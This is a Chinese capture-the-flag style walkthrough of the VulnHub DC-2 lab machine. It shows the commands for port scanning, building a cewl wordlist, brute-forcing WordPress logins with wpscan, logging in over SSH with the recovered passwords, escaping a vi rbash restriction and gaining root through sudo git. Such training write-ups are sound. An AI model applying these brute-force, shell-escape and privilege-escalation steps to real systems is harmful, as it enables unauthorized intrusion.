Vunlnhub靶机DC-2
*注:请严格遵守网络安全法,本文章以培养网络安全人才为核心。
DC-2 靶机实战(DC-)
DC-2 靶机
DC-2靶机共有5个flag
信息收集
Step1:发现IP
- [ ] 由此我们可以看到我们的靶机IP为192.168.195.133
检测开放的端口和服务
masscan进行检测
1 | masscan - p 1 - 65535 192.168 . 195.133 - - rate = 10000
|
nmap进行精细扫描
1 | nmap - p 80 , 7744 - sV - A - O 192.168 . 195.133
|
我们可以看到他的80端口开启了,并且把22端口伪装成了7744
访问url !无法连接服务器 找不到 ?
其实官方站点也提到了这个问题:
1 | need to set the hosts file
|
hosts 文件
作用:主机名到IP地址的映射
其优先级比DNS要高
1 2 3 4 5 6 7 8 | [问题]名称解析 hosts
解决: notepad c:\windows\system32\drivers\etc\hosts
Linux主机: / etc / hosts
添加主机名到IP地址的映射
192.168 . 195.133 dc - 2
|
设置完成后我们就可以访问了
- [ ] 向下翻滚我们可以看到flag1
- [ ] 线索:复用cewl制作口令字典
工具 cewl
cewl 是一个 Ruby应用程序,给定URL,可以生成用于密码破解的口令字典
CeWL 是一款以爬虫模式在指定URL上收集单词的工具,可以将它收集到的单词纳入密码字典,以提高密码破解工具的成功率。
1 2 3 4 5 6 7 8 9 | cewl http: / / dc - 2 - w dc - 2.txt
- w 写入到文件
wc - l dc - 2.txt
选项:
cewl http: / / dc - 2 - m 9
cewl http: / / dc - 2 - n - e
cewl http: / / dc - 2 - c
cewl http: / / dc - 2 - d 3
|
工具 wpscan
利用wpscan工具去扫描blog站点
1 2 | wpscan - - url http: / / dc - 2 / - e u
- - enumerate u 枚举用户
|
保存用户信息
1 | cat >> dc - 2 - user.txt << EOF
|
对HTTP用户进行暴力破解
结合cewl工具生成的字典文件进行爆破
1 | wpscan - - url http: / / dc - 2 - P dc - 2.txt
|
获取到的账号密码
1 2 | | Username: jerry, Password: adipiscing
| Username: tom, Password: parturient
|
对站点进行扫描:
web站点目录扫描
工具 nikto
方法一:
使用nikto对站点进行遍历扫描,找到登录入口
登录网站用户
登录成功
后台登录jerry发现了flag2
利用破解的账号尝试登录系统
PS:有时候一些程序可能就是系统用户
尝试使用拿到的用户口令SSH登录
1 2 | ssh - p 7744 jerry@ 192.168 . 195.133
ssh - p 7744 tom@ 192.168 . 195.133
|
- [ ] 我们cd一下,为什么不能看?
进入后我们查找flag发现很多命令不能用这是什么原因呢?
rbash 限制
什么是rbash?
- 受限shell是Linux xShell 限制一些bash
shell中的功能,并且是从名字上很清楚。该限制很好地实现了命令以及脚本在受限shell中运行。 它为Linux中的bash shell
提供了一个额外的安全层。
查看化境变量
查看文件位置
1 2 | ls / home / tom / usr / bin
less ls scp vi
|
[ ] 我们看到了PATH声明文件
1 | 那么我们可以使用 vi 编辑器查看flag 3 啊!
|
可以看到tom总是在追jerry,或许他应该做些补偿 它建议我们使用su,但是我们现在不能使用su
[ ] 这是什么意思?
1 2 3 | 我们可以知道我们现在有tom和jerry两个用户
我们现在登陆的是tom,tom总是在追jerry,做些补偿,我们可以su切换进入jerry用户里面试试
|
- [ ] 首先要解决的就是rbash逃逸问题
已知的是有rbash限制,我们没有办法切换用户
轻松rbash限制理解
先创建一个文件
用vi我们看一下
: ! /bin/sh ! 为特殊标识符,其后面跟的是解释此脚本的shell路径,如果没有声明,则脚本将在默认的shell中执行,默认shell是由用户所在的系统定义为执行shll脚本。
回车我们就进入到了指定的shell中,甚至还可以进行创建文件夹
方法:利用系统常见应用逃逸
(1)ftp
(2)more //分页查看
(3)less //分页查看
(4)man //查看帮助
(5)vi
(6)vim
[ ] step0:vi打开这个flag
以上在输入的地方输入!/bin/sh 通过特殊标识符!执行该脚本,以获取一个交互shell
设置完成回车,期待满满
什么?他不要你在命令中指定/
扎心了!
1 2 3 | : set shell = / bin / sh
:shell
|
- [ ] 敲一下回车再输入:shell
- [ ] 然后我们就获得了一个交互shell
这时候就有同学问:为什么还是不能使用一些常用的一些指令呢?
和刚刚的报错提示不一样,这次他告诉我们命令没有找到。
我们查看$PATH环境变量得知他的路径搜索变量
比rbash更容易遇到的问题是当前命令执行路径异常问题(我们可以发现不用于rbash,执行这个命令,我们可以夹反斜杠,没有了限制)
export把变量输出为全局环境变量
怎样它的环境变量呢?(为了export填写路径搜索变量)
只需要看一下我们kali自身的变量复制过去就行了
查看我们kali自身的路径搜索变量
复制过去即可
对变量重新赋值
原因:可能是PATH变量的问题
解决:重新对PATH变量赋值
1 | export PATH = $PATH: / usr / local / sbin: / usr / local / bin : / usr / sbin: / usr / bin : / sbin: / bin
|
- [ ] 再次对$PATH变量进行查看
我们就发现变量已经更改
这时我们发现命令都可以执行了。
现在我们就可以根据提示su 进入 jerry 用户
su进入jerry用户
进入后我们看到我ls想查找flag,它居然说我没有权限???
我们看看能不能使用cd,命令(进入jerry这个用户里面看看)
1 2 3 | cd / home / jerry
ls
cat flag4.txt
|
他让我们继续走!Go! 离开这里!
查看sudo使用权限
1 2 | sudo - l
- l 显示出自己(执行 sudo 的使用者)的权限
|
拥有/usr/bin/git权限,就可以进行sudo git -p这样去执行
- [ ] 根据flag4的提示,git工具是我们拿到最后一个flag的突破点
1 2 3 | git 的帮助信息中有一个 - p | - - paginate 选项
这个 - p的意思就是以分页的形式展示git的帮助信息,但是这里他会默认调用more来今昔展示
|
git提权
提权成功!
cd /root/ 进入/root/目录查找flag
扩展:(基础知识)详解
DNS 解析顺序
DNS缓存>hosts>DNS服务器
1 2 3 | ipconfig / displaydns
ipconfig / flushdns
|
HTTP状态码
每条HTTP响应报文返回时都会携带一个状态码。状态码时一个三位数字的代码,告知客户端请求是否成功,或者是否需要采取其他动作
PATH环境变量详解
path(环境变量)是dos以前的内部命令,windows继续沿用至今。用作运行某个命令的时候,本地查找不到某个命令或文件,会到这个声明的目录中去查找。
一般设定java的时候为了在任何目录下都可以运行bin文件夹下的命令。就将java的bin目录声明到path中。
在dos下运行path命令就可以设定或查看。在windows中要在系统设置中设定。
$PATH:决定了shell将到哪些目录中寻找命令或程序,PATH的值是一系列目录,当您运行一个程序时,Linux在这些目录下进行搜寻编译链接。
1 2 3 4 | 添加PATH环境变量
export PATH = 路径:$PATH
查看命令:echo $PATH, 可判断是否添加PATH成功。
|
路径搜索变量
git详解
git命令是用来管理文件的程序,它十分类似DOS下的Norton Commander,具有互动式操作界面。
Git 可以使用四种主要的协议来传输资料:本地协议(Local),HTTP 协议,SSH(Secure Shell)协议及 Git 协议
git(读音为/git/)是一个开源的分布式版本控制系统,可以有效,高速的处理从很小到非常大的项目版本管理。git是Linus Torvalds 为了帮助管理 Linux 内核开发的一个开放源码的版本控制软件。
1 2 3 | git 的帮助信息中有一个 - p | - - paginate 选项
这个 - p的意思就是以分页的形式
|
rbash 限制详解
受限shell是Linux xShell 限制一些bash shell中的功能,并且是从名字上很清楚。该限制很好地实现了命令以及脚本在受限shell中运行。 它为Linux中的bash shell 提供了一个额外的安全层。
1 2 3 4 5 6 | 不能使用cd命令(意味着不能更改目录)
不能设置或取消环境变量:SHELL PATH ENV BASH_ENV
导入功能受限
指定包含参数‘ / ’或‘ - ’的文件名(即命名不能包含‘ / ’或‘ - ’)
不能使用 >, >|, <>, >&, >> 等重定向操作符
不能使用‘ set + r’ 或 ‘ set + o’ 关闭
|
·
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2020-12-22 17:50
被安全小蜘蛛编辑
,原因: